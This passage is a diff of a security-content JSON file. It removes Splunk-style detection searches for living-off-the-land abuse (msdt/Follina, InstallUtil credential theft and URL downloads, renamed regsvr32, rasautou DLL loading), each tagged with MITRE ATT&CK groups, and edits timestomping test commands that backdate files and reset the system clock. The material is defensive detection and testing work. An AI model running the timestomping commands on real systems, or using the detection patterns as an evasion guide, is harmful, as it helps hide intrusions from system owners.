"menuPass" - ] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.004", - "mitre_attack_technique": "InstallUtil", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Mustang Panda", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Execute Arbitrary Commands with MSDT", - "description": "The following analytic detects arbitrary command execution using Windows msdt.exe, a Diagnostics Troubleshooting Wizard. It leverages Endpoint Detection and Response (EDR) data to identify instances where msdt.exe is invoked via the ms-msdt:/ protocol handler to retrieve a remote payload. This activity is significant as it can indicate an exploitation attempt leveraging msdt.exe to execute arbitrary commands, potentially leading to unauthorized code execution. If confirmed malicious, this could allow an attacker to execute arbitrary code, escalate privileges, or persist within the environment, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=msdt.exe Processes.process IN (\"*msdt*\",\"*ms-msdt:*\",\"*ms-msdt:/id*\",\"*ms-msdt:-id*\",\"*/id*\") AND (Processes.process=\"*IT_BrowseForFile=*\" OR Processes.process=\"*IT_RebrowseForFile=*\" OR Processes.process=\"*.xml*\") AND Processes.process=\"*PCWDiagnostic*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_execute_arbitrary_commands_with_msdt_filter`", - "tags": { - "analytic_story": [ - "Microsoft Support Diagnostic Tool Vulnerability CVE-2022-30190" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "A parent process $parent_process_name$ has spawned a child process $process_name$ on host $dest$ possibly indicative of indirect command execution.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows InstallUtil Credential Theft", - "description": "The following analytic detects instances where the Windows InstallUtil.exe binary loads `vaultcli.dll` and `Samlib.dll`. This detection leverages Sysmon EventCode 7 to identify these specific DLL loads. This activity is significant because it can indicate an attempt to execute code that bypasses application control and captures credentials using tools like Mimikatz. If confirmed malicious, this behavior could allow an attacker to steal credentials, potentially leading to unauthorized access and further compromise of the system.", - "search": "`sysmon` EventCode=7 process_name=installutil.exe loaded_file_path IN (\"*\\\\samlib.dll\", \"*\\\\vaultcli.dll\") | stats count min(_time) as firstTime max(_time) as lastTime by user_id, dest, process_name, loaded_file, loaded_file_path, original_file_name, process_guid | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_installutil_credential_theft_filter`", - "tags": { - "analytic_story": [ - "Signed Binary Proxy Execution InstallUtil" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "An instance of process name [$process_name$] loading a file [$loaded_file$] was identified on endpoint- [$dest$] to potentially capture credentials in memory.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.004", - "mitre_attack_technique": "InstallUtil", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Mustang Panda", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows InstallUtil in Non Standard Path", - "description": "The following analytic detects the execution of InstallUtil.exe from non-standard paths. It leverages Endpoint Detection and Response (EDR) data, focusing on process names and original file names outside typical directories. This activity is significant because InstallUtil.exe is often used by attackers to execute malicious code or scripts. If confirmed malicious, this behavior could allow an attacker to bypass security controls, execute arbitrary code, and potentially gain unauthorized access or persist within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where `process_installutil` NOT (Processes.process_path IN (\"*\\\\Windows\\\\ADWS\\\\*\",\"*\\\\Windows\\\\SysWOW64*\", \"*\\\\Windows\\\\system32*\", \"*\\\\Windows\\\\NetworkController\\\\*\", \"*\\\\Windows\\\\SystemApps\\\\*\", \"*\\\\WinSxS\\\\*\", \"*\\\\Windows\\\\Microsoft.NET\\\\*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_id Processes.process_hash | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_installutil_in_non_standard_path_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Living Off The Land", - "Masquerading - Rename System Utilities", - "Ransomware", - "Signed Binary Proxy Execution InstallUtil", - "Unusual Processes", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ from a non-standard path was identified on endpoint $dest$ by user $user$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.004", - "mitre_attack_technique": "InstallUtil", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Mustang Panda", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows InstallUtil Remote Network Connection", - "description": "The following analytic detects the Windows InstallUtil.exe binary making a remote network connection. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and network telemetry. This activity is significant because InstallUtil.exe can be exploited to download and execute malicious code, bypassing application control mechanisms. If confirmed malicious, an attacker could achieve code execution, potentially leading to further system compromise, data exfiltration, or lateral movement within the network. Analysts should review the parent process, network connections, and any associated file modifications to determine the legitimacy of this activity.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where `process_installutil` by _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.user Processes.process_path Processes.process Processes.parent_process_name Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | join process_id [| tstats `security_content_summariesonly` count FROM datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port != 0 by All_Traffic.process_id All_Traffic.dest All_Traffic.dest_port | `drop_dm_object_name(All_Traffic)` | rename dest as C2 ] | table _time user dest parent_process_name process_name process_path process process_id dest_port C2 | `windows_installutil_remote_network_connection_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Signed Binary Proxy Execution InstallUtil" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ generating a remote download.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.004", - "mitre_attack_technique": "InstallUtil", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Mustang Panda", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows InstallUtil Uninstall Option", - "description": "The following analytic detects the use of the Windows InstallUtil.exe binary with the `/u` (uninstall) switch, which can execute code while bypassing application control. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, parent processes, and command-line executions. This activity is significant because it can indicate an attempt to execute malicious code without administrative privileges. If confirmed malicious, an attacker could achieve code execution, potentially leading to further system compromise or persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_installutil` Processes.process IN (\"*/u*\", \"*uninstall*\") NOT (Processes.process IN (\"*C:\\\\WINDOWS\\\\CCM\\\\*\")) NOT (Processes.parent_process_name IN (\"Microsoft.SharePoint.Migration.ClientInstaller.exe\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_installutil_uninstall_option_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Signed Binary Proxy Execution InstallUtil" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ performing an uninstall.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.004", - "mitre_attack_technique": "InstallUtil", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Mustang Panda", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows InstallUtil Uninstall Option with Network", - "description": "The following analytic identifies the use of Windows InstallUtil.exe making a remote network connection using the `/u` (uninstall) switch. This detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on process and network activity data. This behavior is significant as it may indicate an attempt to download and execute code while bypassing application control mechanisms. If confirmed malicious, this activity could allow an attacker to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where `process_installutil` Processes.process IN (\"*/u*\", \"*uninstall*\") by _time span=1h Processes.user Processes.process_id Processes.process_name Processes.dest Processes.process_path Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | join process_id [| tstats `security_content_summariesonly` count FROM datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port != 0 by All_Traffic.process_id All_Traffic.dest All_Traffic.dest_port | `drop_dm_object_name(All_Traffic)` | rename dest as C2 ] | table _time user dest parent_process_name process_name process_path process process_id dest_port C2 | `windows_installutil_uninstall_option_with_network_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Signed Binary Proxy Execution InstallUtil" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ performing an uninstall.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.004", - "mitre_attack_technique": "InstallUtil", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Mustang Panda", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows InstallUtil URL in Command Line", - "description": "The following analytic detects the use of Windows InstallUtil.exe with an HTTP or HTTPS URL in the command line. This is identified through Endpoint Detection and Response (EDR) telemetry, focusing on command-line executions containing URLs. This activity is significant as it may indicate an attempt to download and execute malicious code, potentially bypassing application control mechanisms. If confirmed malicious, this could lead to unauthorized code execution, privilege escalation, or persistent access within the environment. Analysts should review the parent process, network connections, file modifications, and related processes for further investigation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_installutil` Processes.process IN (\"*http://*\",\"*https://*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_installutil_url_in_command_line_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Signed Binary Proxy Execution InstallUtil" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ passing a URL on the command-line.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.004", - "mitre_attack_technique": "InstallUtil", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Mustang Panda", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows MsiExec HideWindow Rundll32 Execution", - "description": "The following analytic detects the execution of the msiexec.exe process with the /HideWindow and rundll32 command-line parameters. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events and command-line arguments. This activity is significant because it is a known tactic used by malware like QakBot to mask malicious operations under legitimate system processes. If confirmed malicious, this behavior could allow an attacker to download additional payloads, execute malicious code, or establish communication with remote servers, thereby evading detection and maintaining persistence.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name = msiexec.exe Processes.process = \"* /HideWindow *\" Processes.process = \"* rundll32*\" by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_msiexec_hidewindow_rundll32_execution_filter`", - "tags": { - "analytic_story": [ - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a msiexec parent process with /hidewindow rundll32 process commandline in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.007", - "mitre_attack_technique": "Msiexec", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Machete", - "Molerats", - "Rancor", - "TA505", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows Rasautou DLL Execution", - "description": "The following analytic detects the execution of an arbitrary DLL by the Windows Remote Auto Dialer (rasautou.exe). This behavior is identified by analyzing process creation events where rasautou.exe is executed with specific command-line arguments. This activity is significant because it leverages a Living Off The Land Binary (LOLBin) to execute potentially malicious code, bypassing traditional security controls. If confirmed malicious, this technique could allow an attacker to execute arbitrary code, potentially leading to system compromise, privilege escalation, or persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=rasautou.exe Processes.process=\"* -d *\"AND Processes.process=\"* -p *\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_rasautou_dll_execution_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ attempting to load a DLL in a suspicious manner.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055.001", - "mitre_attack_technique": "Dynamic-link Library Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "BackdoorDiplomacy", - "Lazarus Group", - "Leviathan", - "Malteiro", - "Putter Panda", - "TA505", - "Tropic Trooper", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Regsvr32 Renamed Binary", - "description": "The following analytic identifies instances where the regsvr32.exe binary has been renamed and executed. This detection leverages Endpoint Detection and Response (EDR) data, specifically focusing on the original filename metadata. Renaming regsvr32.exe is significant as it can be an evasion technique used by attackers to bypass security controls. If confirmed malicious, this activity could allow an attacker to execute arbitrary DLLs, potentially leading to code execution, privilege escalation, or persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name != regsvr32.exe AND Processes.original_file_name=regsvr32.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_regsvr32_renamed_binary_filter`", - "tags": { - "analytic_story": [ - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "regsvr32 was renamed as $process_name$ in $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.010", - "mitre_attack_technique": "Regsvr32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "Blue Mockingbird", - "Cobalt Group", - "Deep Panda", - "Inception", - "Kimsuky", - "Leviathan", - "TA551", - "WIRTE" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows Rundll32 Apply User Settings Changes", - "description": "The following analytic detects the execution of a suspicious rundll32 command line that updates user-specific system parameters, such as desktop backgrounds, display settings, and visual themes. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving \"user32.dll,UpdatePerUserSystemParameters.\" This activity is significant as it is uncommon for legitimate purposes and has been observed in Rhysida Ransomware for defense evasion. If confirmed malicious, this could allow an attacker to disguise activities or make unauthorized system changes, potentially leading to persistent unauthorized access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=rundll32.exe Processes.process= \"*user32.dll,UpdatePerUserSystemParameters*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_rundll32_apply_user_settings_changes_filter`", - "tags": { - "analytic_story": [ - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Process $process_name$ with cmdline $process$ in host $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows System Binary Proxy Execution Compiled HTML File Decompile", - "description": "The following analytic detects the use of the decompile parameter with the HTML Help application (HH.exe). This behavior is identified through Endpoint Detection and Response (EDR) telemetry, focusing on command-line executions involving the decompile parameter. This activity is significant because it is an uncommon command and has been associated with APT41 campaigns, where it was used to unpack HTML help files for further malicious actions. If confirmed malicious, this technique could allow attackers to execute arbitrary commands, potentially leading to further compromise and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_hh` Processes.process=*-decompile* by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_system_binary_proxy_execution_compiled_html_file_decompile_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Compiled HTML Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "$process_name$ has been identified using decompile against a CHM on $dest$ under user $user$.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.001", - "mitre_attack_technique": "Compiled HTML File", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "APT41", - "Dark Caracal", - "OilRig", - "Silence" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows System Script Proxy Execution Syncappvpublishingserver", - "description": "The following analytic detects the execution of Syncappvpublishingserver.vbs via wscript.exe or cscript.exe, which may indicate an attempt to download remote files or perform privilege escalation. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. Monitoring this activity is crucial as it can signify malicious use of a native Windows script for unauthorized actions. If confirmed malicious, this behavior could lead to unauthorized file downloads or elevated privileges, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN (\"wscript.exe\",\"cscript.exe\") Processes.process=\"*syncappvpublishingserver.vbs*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_system_script_proxy_execution_syncappvpublishingserver_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to download files or evade critical controls.", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1216", - "mitre_attack_technique": "System Script Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -298709,12 +210326,13 @@ "touch -a -t 197001010000.00 /tmp/T1070.006-access.txt\n", "touch -m -t 197001010000.00 /tmp/T1070.006-modification.txt\n", "NOW=$(date +%m%d%H%M%Y)\ndate 010100001971\ntouch /tmp/T1070.006-creation.txt\ndate \"$NOW\"\nstat /tmp/T1070.006-creation.txt\n", - "touch -acmr /bin/sh /tmp/T1070.006-reference.txt\n", + "touch /tmp/T1070.006-reference.txt\ntouch -acmr /bin/sh /tmp/T1070.006-reference.txt\n", "Get-ChildItem 